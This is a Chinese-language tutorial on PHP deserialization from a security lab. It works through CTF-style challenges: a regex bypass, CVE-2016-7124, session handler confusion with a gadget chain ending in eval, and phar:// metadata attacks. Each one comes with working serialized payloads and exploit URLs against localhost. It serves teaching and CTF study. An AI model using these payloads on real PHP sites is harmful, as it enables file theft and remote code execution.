前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP反序列化笔记

PHP反序列化笔记

作者头像
Ms08067安全实验室
发布2020-02-19 17:17:45
1.3K0
发布2020-02-19 17:17:45
举报
文章被收录于专栏:Ms08067安全实验室
  • 目录
  • private变量与protected变量序列化后的特点
  • 序列化后的字段长度前面可以加+
    • 题目
    • 解题步骤
  • CVE-2016-7124
    • 漏洞介绍
    • 演示代码
    • 题目
    • 解题步骤
  • PHP Session 反序列化
    • PHP的3种序列化处理器
    • 安全问题
      • 当 session.auto_start=Off 时
        • 测试Demo
    • 题目
    • 解题步骤
  • phar反序列化

private变量与protected变量序列化后的特点


代码语言:javascript
复制
\x00 + 类名 + \x00 + 变量名 ‐> 反序列化为private变量
\x00 + * + \x00 + 变量名 ‐> 反序列化为protected变量
代码语言:javascript
复制
<?php
highlight_file(__FILE__);
class user{
    private $name2 = 'leo';
    protected $age2 = 19;

    public function print_data(){
        echo $this‐>name2 . ' is ' . $this‐>age2 . ' years old <br>';
    }
}
$user = new user();
$user‐>print_data();
echo serialize($user);

?> leo is 19 years old
O:4:"user":2:{s:11:"username2";s:3:"leo";s:7:"*age2";i:19;}

序列化后的字段长度前面可以加+


题目

代码语言:javascript
复制
<?php
@error_reporting(1);
class baby
{
    public $file;
    function __toString()
{
        if(isset($this‐>file))
        {
            $filename = "./{$this‐>file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
         }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches); // 这里匹配到O后面跟着数字就拦截
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else
{
    highlight_file("./index.php");
}
?>

解题步骤


1. 构造序列化对象

代码语言:javascript
复制
<?php
// highlight_file(__FILE__);
class baby
{
    public $file;
    function __toString()
{
        if(isset($this‐>file))
        {
            $filename = "./{$this‐>file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}

$baby = new baby();
$baby‐>file = 'flag.php';
echo serialize($baby);

?>

得到如下内容:
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

2. 重构对象

代码语言:javascript
复制
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

3. url编码

代码语言:javascript
复制
O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

4. 访问

代码语言:javascript
复制
http://127.0.0.1/ctf.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

CVE-2016-7124


漏洞介绍


当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

演示代码


代码语言:javascript
复制
<?php
highlight_file(__FILE__);
class test{
    var $bull;
    public function __destruct(){
        $this‐>bull = "destruct<br/>";
        echo $this‐>bull;
        echo "destruct ok!<br/>";
    }
    public function __wakeup(){
        $this‐>bull = "wake up<br/>";
        echo $this‐>bull;
        echo "wake up ok!<br/>";
    }
}
// 正常payload
// $payload = O:4:"test":1:{s:4:"bull";s:4:"sdfz";}
// 触发漏洞的payload
$payload = 'O:4:"test":2:{s:4:"bull";s:4:"sdfz";}';
$abc = unserialize($payload);

?>

题目

代码语言:javascript
复制
<?php
  class SoFun{
    protected $file='index.php';
    public function __construct($file){
        $this‐>file = $file;

    }
    function __destruct(){
        if(!empty($this‐>file))
        {
            //查找file文件中的字符串,如果有'\\'和'/'在字符串中,就显示错误
            if(strchr($this‐>file,"\\")===false && strchr($this‐>file, '/')===false)
            {
                show_source(dirname (__FILE__).'/'.$this ‐>file);
            }
            else{
                    die('Wrong filename.');
                }
        }
    }
    function __wakeup()
{
        $this‐> file='index.php';
    }
    public function __toString()
{
        return '';
    }
}
    if (!isset($_GET['file']))
    {
        show_source('index.php');
    }
    else{
        $file=base64_decode( $_GET['file']);
        echo unserialize($file);
    }
?>

解题步骤


1. 获得反序列化对象

代码语言:javascript
复制
<?php
  class SoFun{
    protected $file='index.php';
    public function __construct($file){
        $this‐>file = $file;
    }
    function __destruct(){
        if(!empty($this‐>file))
        {
            //查找file文件中的字符串,如果有'\\'和'/'在字符串中,就显示错误
            if(strchr($this‐>file,"\\")===false && strchr($this‐>file, '/')===false)
            {
                show_source(dirname (__FILE__).'/'.$this ‐>file);
            }
            else{
                die('Wrong filename.');
                }
        }
    }
    function __wakeup()
    {
        $this‐> file='index.php';
    }
    public function __toString()
    {
        return '';
    }
}
    if (!isset($_GET['file']))
    {
      //show_source('index.php');
    }
    else{
        $file=base64_decode( $_GET['file']);
        echo unserialize($file);
    }
$test = new SoFun('flag.php');

echo base64_encode(serialize($test));

结果:
Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
?>

2. 利用漏洞

代码语言:javascript
复制
# 把变量数量更改为大于实际的变量数量并重新用base64编码
Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

3. 访问URL

代码语言:javascript
复制
http://127.0.0.1/test.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

PHP Session 反序列化


PHP的3种序列化处理器


PHP 内置了多种处理器用于存取$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式

处理器

对应的存储格式

php

键名 + 竖线 + 经过 serialize() 函数序列化处理的值

php_binary

键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值

php_serialize(php>=5.5.4)

经过serialize()函数序列化处理的数组

安全问题


当 session.auto_start=Off 时

当PHP序列化使用的是php_serialize,反序列化使用的是php的时候就会出现安全问题

此时注入的数据是a=|O:4:"test":0:{} 那么通过php_serialize反序列化储存的结果就是a:1: {s:1:"a";s:16:"|O:4:"test":0:{}";} 根据php的反序列化格式( 键名 + 竖线 + 经过 serialize() 函数反序 列处理的值 ),此时a:1:{s:1:"a";s:16:" 就会被当作键名, O:4:"test":0:{}"; 就会被当作序列化后的值

测试Demo


1. php

代码语言:javascript
复制
<?php
ini_set("session.serialize_handler", 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

2. php

代码语言:javascript
复制
<?php
ini_set("session.serialize_handler", 'php');
session_start();
class peiqi{
    public $meat = '123';
    function __wakeup(){
        echo "I AM Peiqi";
    }
    function __destruct(){
        echo $this‐>meat;
    }
}
?>

先对2.php的peiqi类进行序列化

代码语言:javascript
复制
<?php
class peiqi{
    public $meat = '123';
    function __wakeup(){
        echo "I AM Peiqi";
    }
    function __destruct(){
        echo $this‐>meat;
    }
}
$a = new peiqi();
$a‐>meat = '3333';
echo serialize($a);
// 输出结果O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}
?>

通过1.php文件 把序列化后的内容写入到session 主要前面要加|

代码语言:javascript
复制
http://localhost/test/1.php?a=|O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}

然后访问2.php 触发php处理器进行反序列化session文件

此时session文件里面的内容

题目


index.php

代码语言:javascript
复制
<?php
    ini_set('session.serialize_handler', 'php');
    //服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题
    require("./class.php");
    session_start();
    
    $obj = new foo1();
    $obj‐>varr = "phpinfo.php";
?>

phpinfo.php

代码语言:javascript
复制
<?php
    session_start();
    require("./class.php");
    
    $f3 = new foo3();
    $f3‐>varr = "phpinfo();";
    $f3‐>execute();
?>

这里为了方便实验把session.upload_progress.cleanup变成off

class.php

代码语言:javascript
复制
<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
    public $varr;
    function __construct(){
        $this‐>varr = "index.php";
    }
    function __destruct(){
        if(file_exists($this‐>varr)){
            echo "<br>文件".$this‐>varr."存在<br>";
        }
        echo "<br>这是foo1的析构函数<br>";
    }
}

class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this‐>varr = '1234567890';
        $this‐>obj = null;
    }
    function __toString(){
        $this‐>obj‐>execute();
        return $this‐>varr;
    }
    function __desctuct(){
        echo "<br>这是foo2的析构函数<br>";
    }
}
class foo3{
    public $varr;
    function execute(){
        eval($this‐>varr);
    }
    function __desctuct(){
        echo "<br>这是foo3的析构函数<br>";
    }
}

?>

解题步骤


通过上面的学习,我们明白需要通过php_serialize来序列化,通过php来进行反序列化。

所以我们通过phpinfo.php来序列化,通过index.php来反序列化。

但是我们如何往session里面写入内容呢?

当session.upload_progress.enabled开启时,PHP能够在每一个文件上传时监测上传进度。

当POST中有一个变量与php.ini中的session.upload_progress.name变量值相同时,上传进度就会写入到session中

写入到session的数据内容为:session.upload_progress.prefix与 session.upload_progress.name连接在一起的值

链接:https://bugs.php.net/bug.php?id=71101

代码语言:javascript
复制
<form action="http://127.0.0.1/test/phpinfo.php" method="POST" enctype="multipart/form‐
data"
>
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

这样我们就可以控制session里面的内容了

这样利用漏洞的2个条件都有了

我们在看下3个php代码之间的关系

  1. php.php -> 用来写入序列化内容
  2. index.php -> 用来进行反序列化
  3. class.php -> 用来被触发执行恶意代码

我们在仔细看下class.php的代码

在这之前我们先介绍下,PHP的常用魔术方法

  1. __wakeup:unserialize( )会检查是否存在一个_wakeup( ) 方法。如果存在,则会先调用 _wakeup 方法,预先准备对象需要的资源
  2. __construct:具有构造函数的类会在每次创建新对象时先调用此方法。
  3. __destruct:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
  4. __toString:_toString( ) 方法用于一个类被当成字符串时应怎样回应。

在class.php的foo3类中我们看到

代码语言:javascript
复制
function execute(){
          eval($this‐>varr);
    }

所以我们需要给varr赋值,来执行语句

在foo2中我们看到

代码语言:javascript
复制
function __toString(){
          $this‐>obj‐>execute();
          return $this‐>varr;
    }

所以我们需要把obj实例化成foo3对象,并且这个是__tosgtring()的魔术方法

在foo1中我们看到

代码语言:javascript
复制
function __destruct(){
          if(file_exists($this‐>varr)){
              echo "<br>文件".$this‐>varr."存在<br>";
          }
          echo "<br>这是foo1的析构函数<br>";
    }

所以我们需要把varr实例化成foo2,来调用__tostring的魔术方法

1. 我们先构造序列化内容

代码语言:javascript
复制
<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
    public $varr;
    function __construct(){
        $this‐>varr = "index.php";
    }
    function __destruct(){
        if(file_exists($this‐>varr)){
            echo "<br>文件".$this‐>varr."存在<br>";
        }
        echo "<br>这是foo1的析构函数<br>";
    }
}

class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this‐>varr = '1234567890';
        $this‐>obj = null;
    }
    function __toString(){
        $this‐>obj‐>execute();
        return $this‐>varr;
    }
    function __desctuct(){
        echo "<br>这是foo2的析构函数<br>";
    }
}

class foo3{
    public $varr;
    function execute(){
        eval($this‐>varr);
    }
    function __desctuct(){
        echo "<br>这是foo3的析构函数<br>";
    }
}

$a = new foo1();
$b= new foo2();
$c = new foo3();
$a‐>varr = $b;
$b‐>obj = $c;
$c‐>varr = "echo 'dfz';";

echo serialize($a);
// 输出结果:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:
{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:11:"echo 'dfz';";}}}

?>

2. 通过html页面,写入到session,同时序列化内容前要加上 |

3.访问index.php

phar反序列化


https://blog.ripstech.com/2018/new-php-exploitation-technique/

利用phar函数可以在不适用unserialize()函数的情况下触发PHP反序列化漏洞

漏洞点在使用phar://协议读取文件时,文件内容会被解析成phar对象,然后phar对象内的Metadata信息会被反序列化 通过一下代码创建一个phar文件

通过一下代码创建一个phar文件

代码语言:javascript
复制
<?php
// create new Phar
$phar = new Phar('test.phar');
$phar‐>startBuffering();
$phar‐>addFromString('test.txt', 'text');
$phar‐>setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object‐>data = 'rips';
$phar‐>setMetadata($object);
$phar‐>stopBuffering();
?>

若出现下面这样的提示

代码语言:javascript
复制
Fatal error: Uncaught exception 'UnexpectedValueException' with message 'creating archive
"test.phar" disabled by the php.ini setting phar.readonly' in
D:\phpstudy\PHPTutorial\WWW\test\phar.php:3 Stack trace: #0
D:\phpstudy\PHPTutorial\WWW\test\phar.php(3): Phar‐>__construct('test.phar') #1 {main}
thrown in D:\phpstudy\PHPTutorial\WWW\test\phar.php on line 3

把php.ini中的phar.readonly 改为 Off重启即可

phar文件的二进制内容如下

这个时候我们创建另一个php

代码语言:javascript
复制
<?php
class AnyClass {
    function __destruct() {
        echo $this‐>data;
    }
}
// output: rips
include('phar://test.phar');
?>

访问就可以看到网页输出rips

除了include还可以使用下列函数

代码语言:javascript
复制
include('phar://test.phar');
var_dump(file_exists('phar://test.phar'));
var_dump(file_get_contents('phar://test.phar'));
var_dump(file('phar://test.phar'));
# 改了文件名同样有效果
var_dump(file_get_contents('phar://test.jpg'));
var_dump(file_exists('phar://test.jpg'));
var_dump(file('phar://test.jpg'));
include('phar://test.jpg');

// 网站上的代码,同样可以
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);

md5_file($_GET['file']);演示:

这样我们利用phar来执行任意代码

代码语言:javascript
复制
<?php
// create new Phar
$phar = new Phar('test.phar');
$phar‐>startBuffering();
$phar‐>addFromString('test.txt', 'text');
$phar‐>setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object‐>data = 'rips';
$object‐>data1 = 'phpinfo();';
$phar‐>setMetadata($object);
$phar‐>stopBuffering();
?>
代码语言:javascript
复制
<?php
class AnyClass {
function __destruct() {
    echo $this‐>data;
    eval($this‐>data1);
}
}
// output: rips
md5_file($_GET['file']);?>
?>
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-01-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档